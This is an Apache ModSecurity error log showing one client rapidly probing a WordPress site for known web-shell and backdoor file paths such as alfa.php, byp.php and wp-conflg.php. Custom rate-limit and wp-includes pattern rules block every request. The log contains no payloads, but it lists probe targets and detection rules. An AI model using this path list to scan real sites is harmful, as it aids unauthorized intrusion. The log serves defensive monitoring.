[Fri Dec 26 01:35:44.379999 2025] [:error] [pid 24864:tid 24935] [client 4.194.153.244:20622] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfa.php"] [unique_id "aU118Mu59XOK5DpQQdCe7gAAAU8"]
[Fri Dec 26 01:35:44.664917 2025] [:error] [pid 24864:tid 24933] [client 4.194.153.244:3000] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfa.php"] [unique_id "aU118Mu59XOK5DpQQdCe7wAAAU0"]
[Fri Dec 26 01:35:45.306773 2025] [:error] [pid 24863:tid 24908] [client 4.194.153.244:20693] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/themes/twentytwentytwo/index.php"] [unique_id "aU118R8SaH2KMpp43vfyAwAAAM8"]
[Fri Dec 26 01:35:46.098604 2025] [:error] [pid 24946:tid 24971] [client 4.194.153.244:3011] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/themes/twentytwentytwo/index.php"] [unique_id "aU118lfyLYxv3Jn9S71PSAAAAFc"]
[Fri Dec 26 01:35:46.809326 2025] [:error] [pid 24946:tid 24961] [client 4.194.153.244:2962] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/themes/twentytwentytwo/index.php"] [unique_id "aU118lfyLYxv3Jn9S71PTAAAAE0"]
[Fri Dec 26 01:35:47.284114 2025] [:error] [pid 24862:tid 24872] [client 4.194.153.244:3056] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/themes/twentytwentytwo/index.php"] [unique_id "aU1187t-eeEEuo-2JKg1mwAAAAY"]
[Fri Dec 26 01:35:47.936208 2025] [:error] [pid 24862:tid 24871] [client 4.194.153.244:2985] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aU1187t-eeEEuo-2JKg1nQAAAAU"]
[Fri Dec 26 01:35:48.725880 2025] [:error] [pid 24946:tid 24959] [client 4.194.153.244:20659] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aU119FfyLYxv3Jn9S71PTwAAAEs"]
[Fri Dec 26 01:35:54.049125 2025] [:error] [pid 24864:tid 24924] [client 4.194.153.244:2882] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfa.php"] [unique_id "aU11-su59XOK5DpQQdCfFAAAAUQ"]
[Fri Dec 26 01:35:55.419124 2025] [:error] [pid 24862:tid 24876] [client 4.194.153.244:3001] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfa.php"] [unique_id "aU11-7t-eeEEuo-2JKg1pQAAAAo"]
[Fri Dec 26 01:35:56.310728 2025] [:error] [pid 24946:tid 24956] [client 4.194.153.244:20654] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfa.php"] [unique_id "aU11_FfyLYxv3Jn9S71PYAAAAEg"]
[Fri Dec 26 01:35:56.685188 2025] [:error] [pid 24946:tid 24967] [client 4.194.153.244:3064] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfa.php"] [unique_id "aU11_FfyLYxv3Jn9S71PYgAAAFM"]
[Fri Dec 26 01:35:57.342318 2025] [:error] [pid 24946:tid 24971] [client 4.194.153.244:20698] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1.php"] [unique_id "aU11_VfyLYxv3Jn9S71PZgAAAFc"]
[Fri Dec 26 01:35:57.834968 2025] [:error] [pid 24864:tid 24932] [client 4.194.153.244:20716] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1.php"] [unique_id "aU11_cu59XOK5DpQQdCfGAAAAUw"]
[Fri Dec 26 01:35:58.262974 2025] [:error] [pid 24862:tid 24886] [client 4.194.153.244:20642] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1.php"] [unique_id "aU11_rt-eeEEuo-2JKg1qQAAABQ"]
[Fri Dec 26 01:35:59.128675 2025] [:error] [pid 24862:tid 24883] [client 4.194.153.244:20712] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1.php"] [unique_id "aU11_7t-eeEEuo-2JKg1qgAAABE"]
[Fri Dec 26 01:35:59.739383 2025] [:error] [pid 24946:tid 24966] [client 4.194.153.244:2951] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byp.php"] [unique_id "aU11_1fyLYxv3Jn9S71PbwAAAFI"]
[Fri Dec 26 01:36:00.183174 2025] [:error] [pid 24946:tid 24957] [client 4.194.153.244:2960] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byp.php"] [unique_id "aU12AFfyLYxv3Jn9S71PcgAAAEk"]
[Fri Dec 26 01:36:00.584308 2025] [:error] [pid 24864:tid 24928] [client 4.194.153.244:2894] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byp.php"] [unique_id "aU12AMu59XOK5DpQQdCfGwAAAUg"]
[Fri Dec 26 01:36:00.955440 2025] [:error] [pid 24946:tid 24953] [client 4.194.153.244:2995] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byp.php"] [unique_id "aU12AFfyLYxv3Jn9S71PdQAAAEU"]
[Fri Dec 26 01:36:01.940405 2025] [:error] [pid 24862:tid 24884] [client 4.194.153.244:2902] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-trackback.php"] [unique_id "aU12Abt-eeEEuo-2JKg1rgAAABI"]
[Fri Dec 26 01:36:02.592830 2025] [:error] [pid 24862:tid 24887] [client 4.194.153.244:2915] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-trackback.php"] [unique_id "aU12Art-eeEEuo-2JKg1swAAABU"]
[Fri Dec 26 01:36:03.032396 2025] [:error] [pid 24863:tid 24902] [client 4.194.153.244:2957] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-trackback.php"] [unique_id "aU12Ax8SaH2KMpp43vfyEQAAAMk"]
[Fri Dec 26 01:36:03.449699 2025] [:error] [pid 24863:tid 24899] [client 4.194.153.244:20645] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-trackback.php"] [unique_id "aU12Ax8SaH2KMpp43vfyEgAAAMY"]
[Fri Dec 26 01:36:03.717692 2025] [:error] [pid 24863:tid 24904] [client 4.194.153.244:2956] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/index.php"] [unique_id "aU12Ax8SaH2KMpp43vfyFAAAAMs"]
[Fri Dec 26 01:36:04.156736 2025] [:error] [pid 24946:tid 24972] [client 4.194.153.244:20648] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/index.php"] [unique_id "aU12BFfyLYxv3Jn9S71PfwAAAFg"]
[Fri Dec 26 01:36:04.502092 2025] [:error] [pid 24864:tid 24942] [client 4.194.153.244:20644] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/index.php"] [unique_id "aU12BMu59XOK5DpQQdCfIQAAAVY"]
[Fri Dec 26 01:36:04.804008 2025] [:error] [pid 24864:tid 24943] [client 4.194.153.244:20661] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/index.php"] [unique_id "aU12BMu59XOK5DpQQdCfJgAAAVc"]
[Fri Dec 26 01:36:05.232057 2025] [:error] [pid 24864:tid 24921] [client 4.194.153.244:2881] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/network/plugins.php"] [unique_id "aU12Bcu59XOK5DpQQdCfKgAAAUE"]
[Fri Dec 26 01:36:05.602175 2025] [:error] [pid 24946:tid 24963] [client 4.194.153.244:3070] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/network/plugins.php"] [unique_id "aU12BVfyLYxv3Jn9S71PgQAAAE8"]
[Fri Dec 26 01:36:06.090413 2025] [:error] [pid 24862:tid 24881] [client 4.194.153.244:2999] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/network/plugins.php"] [unique_id "aU12Brt-eeEEuo-2JKg1wgAAAA8"]
[Fri Dec 26 01:36:06.396147 2025] [:error] [pid 24946:tid 24966] [client 4.194.153.244:2978] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/network/plugins.php"] [unique_id "aU12BlfyLYxv3Jn9S71PhAAAAFI"]
[Fri Dec 26 01:36:06.654183 2025] [:error] [pid 24946:tid 24957] [client 4.194.153.244:2980] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/about.php"] [unique_id "aU12BlfyLYxv3Jn9S71PhgAAAEk"]
[Fri Dec 26 01:36:06.948792 2025] [:error] [pid 24946:tid 24953] [client 4.194.153.244:2893] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/about.php"] [unique_id "aU12BlfyLYxv3Jn9S71PigAAAEU"]
[Fri Dec 26 01:36:07.289140 2025] [:error] [pid 24946:tid 24967] [client 4.194.153.244:2888] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/about.php"] [unique_id "aU12B1fyLYxv3Jn9S71PiwAAAFM"]
[Fri Dec 26 01:36:07.619931 2025] [:error] [pid 24863:tid 24905] [client 4.194.153.244:20670] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/about.php"] [unique_id "aU12Bx8SaH2KMpp43vfyJQAAAMw"]
[Fri Dec 26 01:36:07.943417 2025] [:error] [pid 24863:tid 24904] [client 4.194.153.244:2955] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gmo.php"] [unique_id "aU12Bx8SaH2KMpp43vfyJgAAAMs"]
[Fri Dec 26 01:36:08.223744 2025] [:error] [pid 24946:tid 24951] [client 4.194.153.244:3036] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gmo.php"] [unique_id "aU12CFfyLYxv3Jn9S71PjgAAAEM"]
[Fri Dec 26 01:36:08.703307 2025] [:error] [pid 24863:tid 24894] [client 4.194.153.244:3013] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gmo.php"] [unique_id "aU12CB8SaH2KMpp43vfyKAAAAME"]
[Fri Dec 26 01:36:09.167618 2025] [:error] [pid 24863:tid 24907] [client 4.194.153.244:2976] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gmo.php"] [unique_id "aU12CR8SaH2KMpp43vfyKQAAAM4"]
[Fri Dec 26 01:36:09.536857 2025] [:error] [pid 24862:tid 24887] [client 4.194.153.244:3015] [client 4.194.153.244] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "aU12Cbt-eeEEuo-2JKg1xgAAABU"]
[Fri Dec 26 01:36:09.909133 2025] [:error] [pid 24863:tid 24908] [client 4.194.153.244:20714] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css/index.php"] [unique_id "aU12CR8SaH2KMpp43vfyKwAAAM8"]
[Fri Dec 26 01:36:10.201530 2025] [:error] [pid 24863:tid 24915] [client 4.194.153.244:3018] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css/index.php"] [unique_id "aU12Ch8SaH2KMpp43vfyLAAAANY"]
[Fri Dec 26 01:36:10.571836 2025] [:error] [pid 24862:tid 24878] [client 4.194.153.244:2899] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css/index.php"] [unique_id "aU12Crt-eeEEuo-2JKg1yQAAAAw"]
[Fri Dec 26 01:36:10.948886 2025] [:error] [pid 24864:tid 24929] [client 4.194.153.244:2975] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css/index.php"] [unique_id "aU12Csu59XOK5DpQQdCfMwAAAUk"]
[Fri Dec 26 01:36:11.298709 2025] [:error] [pid 24864:tid 24925] [client 4.194.153.244:3071] [client 4.194.153.244] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/wp-login.php"] [unique_id "aU12C8u59XOK5DpQQdCfNAAAAUU"]
[Fri Dec 26 01:36:11.629608 2025] [:error] [pid 24946:tid 24960] [client 4.194.153.244:3021] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/about.php"] [unique_id "aU12C1fyLYxv3Jn9S71PkwAAAEw"]
[Fri Dec 26 01:36:12.013337 2025] [:error] [pid 24864:tid 24922] [client 4.194.153.244:20696] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/about.php"] [unique_id "aU12DMu59XOK5DpQQdCfOAAAAUI"]
[Fri Dec 26 01:36:12.386240 2025] [:error] [pid 24864:tid 24921] [client 4.194.153.244:2993] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/about.php"] [unique_id "aU12DMu59XOK5DpQQdCfOgAAAUE"]
[Fri Dec 26 01:36:12.625981 2025] [:error] [pid 24862:tid 24876] [client 4.194.153.244:2998] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/about.php"] [unique_id "aU12DLt-eeEEuo-2JKg1zAAAAAo"]
[Fri Dec 26 01:36:12.893967 2025] [:error] [pid 24864:tid 24933] [client 4.194.153.244:2983] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/filemanager/dialog.php"] [unique_id "aU12DMu59XOK5DpQQdCfPAAAAU0"]
[Fri Dec 26 01:36:13.205156 2025] [:error] [pid 24862:tid 24886] [client 4.194.153.244:2994] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/filemanager/dialog.php"] [unique_id "aU12Dbt-eeEEuo-2JKg1zgAAABQ"]
[Fri Dec 26 01:36:13.446210 2025] [:error] [pid 24864:tid 24944] [client 4.194.153.244:2927] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/filemanager/dialog.php"] [unique_id "aU12Dcu59XOK5DpQQdCfPQAAAVg"]
[Fri Dec 26 01:36:13.863528 2025] [:error] [pid 24864:tid 24934] [client 4.194.153.244:20653] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/filemanager/dialog.php"] [unique_id "aU12Dcu59XOK5DpQQdCfPwAAAU4"]
[Fri Dec 26 01:36:14.267359 2025] [:error] [pid 24946:tid 24966] [client 4.194.153.244:20701] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/index.php"] [unique_id "aU12DlfyLYxv3Jn9S71PlgAAAFI"]
